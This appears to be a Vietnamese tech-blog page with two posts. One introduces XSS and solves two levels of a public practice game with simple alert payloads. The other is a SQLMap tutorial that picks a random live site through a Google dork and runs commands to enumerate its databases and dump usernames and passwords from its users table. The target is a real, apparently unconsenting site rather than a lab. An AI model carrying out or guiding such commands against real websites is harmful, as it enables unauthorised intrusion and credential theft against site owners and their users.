Ở bài viết này mình sẽ giới thiệu về một lỗ hổng bảo mật trên web phổ biến sau "SQL Injection" đó là lỗ hổng XSS. Chúng ta sẽ đi vào phần khái niệm và cách mà nó ảnh hưởng đến các trang web hiện nay.
XSS là gì?
Cross-Site Scripting (gọi tắt là XSS) là một loại tấn công ứng dụng web, nơi máy client nhập đoạn "script" độc hại đưa vào đầu ra của ứng dụng web và sau đó được thực thi bởi trình duyệt của người dùng. Đã có một khoảng thời gian cách đây không lâu khi XSS được coi là một loại vấn đề bảo mật rủi ro thấp, bởi vì khi so sánh với các lổ hỗng khai thác phía máy chủ, nó có vẻ tương đối khá yếu. Ngoài ra nó còn có thể được sử dụng để tiếp quản trình duyệt của người dùng theo nhiều cách khác .
Một cuộc tấn công XSS
Tấn công XSS
Ở đây mình có 1 trang web có sẵn các mức độ của lổ hỗng XSS, mình sẽ thử nghiệm mức độ 1 và 2. Các bạn cũng có thể vào thử tại trang web: https://xss-game.appspot.com/
Trang chủ của XSS Game
Level 1
Ở mức độ đầu tiên thì các bạn thấy giao diện của trang tìm kiếm, do đó cách viết một "script" để hiển thị thông báo là sử dụng lệnh "alert" để hiện thị hộp thoại thông báo với cú pháp như sau:
alert('Hello');
Level 1
Level 2
Chúng ta sẽ đến với level 2, thì ở đây giao diện là một trang đăng bình luận của một bài báo. Chúng ta có thể xem gợi ý khi nhấn vào "show" để hiển thị gợi ý. Họ đã gợi ý cho chúng ta sử dụng thẻ "img" và sự kiện "onerror" để khai thác XSS. Sự kiện onerror được kích hoạt nếu xảy ra lỗi trong khi tải tệp bên ngoài (ví dụ: tài liệu hoặc hình ảnh). Do đó, mình sẽ thông qua thẻ "img" của trang báo và chèn vào đoạn "script" như sau:
onerror=alert('Hello');
Level 2
Các mức độ sau thì các bạn có thể tự mình khám phá và giải nó thông qua các gợi ý của tác giả.
Cách ngăn chặn XSS
Hầu như tất cả các kịch bản lệnh phía máy client đều thông qua các ký tự sau: <> () {} [] "'; / \. Có nhiều cách khác nhau để quản lý việc cấm các ký tự này, nhưng nó quá phụ thuộc vào ngữ cảnh để đưa ra một câu trả lời một cách cụ thể để loại trừ các trường hợp xảy ra với các ký tự này. Câu trả lời ngắn nhất là, đảm bảo bạn chỉ nhận được các ký tự mà bạn mong đợi khi người dùng nhập bất kỳ loại thông tin nào - hãy đảm bảo bạn không bao giờ hiển thị chuỗi do người dùng nhập mà không mã hóa chính xác. Còn một cách nữa là các bạn có thể ngăn chặn người dùng thực thị "javascript" thì điều đó sẽ dễ dàng hơn.
Google không thể bị tấn công với XSS
Tóm tắt
Chúng ta đã được giới thiệu về lỗ hổng XSS và cách mà chúng ta khai thác nó thông qua các kiểu khai thác đơn giản. Hơn nữa, mình cũng có đưa ra các giải pháp để có thể chặn các cuộc tấn công XSS thông qua các chính sách thắt chặt việc nhập dữ liệu của người dùng. Cám ơn các bạn đã xem bài viết.
Lâu rồi không gặp các bạn, hôm nay mình sẽ giới thiệu về công cụ SQLMap và cách sử dụng nó để khai thác các trang web bị lỗ hổng SQL Injection. Mình cũng khuyến cáo với các bạn nào đọc bài viết này, các bạn tuyệt đối không được thử nghiệm trên môi trường mạng công cộng và mình sẽ không chịu trách nhiệm bất kỳ hậu quả nào các bạn gây ra!!!
SQL Injection là gì? Giới thiệu về công cụ SQLMap
SQL injection là một kỹ thuật chèn mã lỗi sql vào ứng ụng web, trong đó các câu lệnh SQL độc hại được chèn vào một trường mục nhập để thực thi câu lệnh sql đó (ví dụ: người tấn công muốn xuất ra danh sách các tài khoản người dùng của một trang web nào đó) nhằm để khai thác lỗ hổng bảo mật của trang web đó. SQLMap là một công cụ kiểm tra thâm nhập mã nguồn mở cho phép tự động hóa quá trình phát hiện và khai thác lỗ hổng "SQL injection" và chiếm đoạt các máy chủ cơ sở dữ liệu.
Các bước tấn công
Không nói dài dòng nữa, mình sẽ bắt đầu chi tiết về các bước thực hiện một cuộc tấn công SQL Injection. Mình sẽ sử dụng hệ điều hành Parrot để "demo" cuộc tấn công này.
Bước 1: Tìm trang web bị lỗ hổng
Mình sẽ khởi động SQLMap bằng lệnh "sqlmap" và màn hình "terminal" sẽ show ra giao diện giống như dưới đây:
Giao diện SQLMap
Sau đó các bạn nên tìm ra một mục tiêu ngẫu nhiên nào đó thông qua sử dụng các lệnh tìm kiếm trong Google Dork, mình sẽ có một bài viết về công cụ này và cách sử dụng như thế nào. Ở đây mình sẽ gõ lệnh "sqlmap -g inurl:news.php?id=3" để show ra các đường link trong google.
Tìm kiếm danh sách các "url" trên Google
Khi đó nó sẽ hiện ra đường link đầu tiên là: "http://www.jmtv.com/news.php?id=3". Mình sẽ thử "test" trên đường link này xem có bị lỗi SQL Injection hay không. Mình sẽ gõ "Y" để đồng ý kiểm tra thử đường link này.
Kiểm tra url xem có bi SQL Injection hay không?
Cuối cùng nó đã hiện ra lỗi "SQL Injection" mà trang web này đã mắc phải, công việc tiếp theo của chúng ta là "exploit" mã lỗi "SQL Injection này và tiến hành chuẩn bị bước 2.
Bước 2: Liệt kê danh sách database
Bây giờ chúng ta đã có được đường link này "http://www.jmtv.com/news.php?id=3" và công việc là lấy danh sách các database mà trang web này có. Chúng ta có thể gõ lệnh: "sqlmap -u http://www.jmtv.com/news.php?id=3 --dbs" để liệt kê danh sách database.
Danh sách database của trang web bị lỗi SQL Injection
Cuối cùng chúng ta đã có tên database. Chúng ta sẽ liệt kê các bảng có trong database đó qua bước tiếp theo.
Bước 3: Liệt kê các bảng trong database
Mình sẽ lấy tên database là "jmtv501_news" là tên database và liệt kê các bảng trong database đó. Mình sẽ sử dụng câu lệnh: "sqlmap -u http://www.jmtv.com/news.php?id=3 -D jmtv501_news --tables" để thực thi.
Hiển thị bảng trong Database
Chúng ta đã có các bảng rồi, thì công việc tiếp theo là hiện ra các trường dữ liệu trong các bảng đó.
Bước 4: Liệt kê danh sách dữ liệu
Mục tiêu của chúng ta là hiển thị danh sách các người dùng đăng bài trong database "jmtv501_news" và đó là bảng "users". Để làm điều đó, chúng ta gõ lệnh: "sqlmap -u http://www.jmtv.com/news.php?id=3 -D jmtv501_news -T users --column" để lấy ra các cột trong bảng "users".
Danh sách các cột trong bảng "users"
Công việc còn lại khá nhẹ nhàng các bạn ơi :), chỉ cần hiển thị danh sách người dùng và mật khẩu của họ là coi như xong rồi đấy.
Bước 5: Liệt kê danh sách tài khoản
Trong bảng "users" có cột "username" và cột "password", điều đó làm cho chúng ta trở nên dễ dàng trong việc lấy tên của người dùng đăng bài thông qua câu lệnh sau: "sqlmap -u http://www.jmtv.com/news.php?id=3 -D jmtv501_news -T users -C username --dump".
Lấy thông tin username
Ngoài ra các bạn có thể lấy mật khẩu với câu lệnh này: "sqlmap -u http://www.jmtv.com/news.php?id=3 -D jmtv501_news -T users -C password --dump".
Lấy thông tin mật khẩu
Video
Tóm tắt
Mình đã trình bày cách thức khai thác cơ sở dữ liệu của một trang web bị lỗ hổng SQL Injection với công cụ SQLMap. Mình cám ơn các bạn đã đọc bài viết này.
JavaScript là một trong những ngôn ngữ lập trình phổ biến nhất trên thế giới. Do đó, mình tin rằng đây là một sự lựa chọn tuyệt vờ...
Subscribe — Be the first to know Trending News
Want Knowledgeable Articles and News to Your Inbox every Morning? We'll keep you up to date with latest Trends in Information Technology. Subscribe to The Hacker News Newsletter and eBook Updates.